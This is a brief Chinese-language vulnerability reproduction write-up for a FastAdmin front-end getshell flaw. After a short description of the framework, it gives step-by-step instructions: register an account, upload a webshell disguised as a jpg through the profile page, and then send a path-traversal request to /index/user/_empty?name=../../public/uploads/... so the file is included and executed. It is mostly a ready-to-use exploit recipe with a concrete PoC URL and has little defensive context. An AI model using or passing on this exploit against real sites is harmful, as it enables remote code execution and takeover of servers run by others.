Fastadmin前台Getshell漏洞復現
一、簡介
FastAdmin是一款基於ThinkPHP5+Bootstrap開發的極速后台開發框架。FastAdmin基於Apache2.0開源協議發布，目前被廣泛應用於各大行業應用后台管理。
二、漏洞復現
注:在Linux下，通過這種方法會失效，因為在 /public 路徑下不存在 user 目錄
1、登錄前台會員中心，注冊一個賬戶
2、使用注冊的賬戶登錄，點擊會員中心"-》"個人資料"處，上傳一個jpg圖片馬
3、構造POC，GET /index/user/_empty?name=../../public/uploads/路徑.jpg，訪問http://xx.xx.xx.xx/index.php/index/user/_empty?name=../../public/uploads/20200924/500309dcf5c48dd851a218caa0f65566.jpg
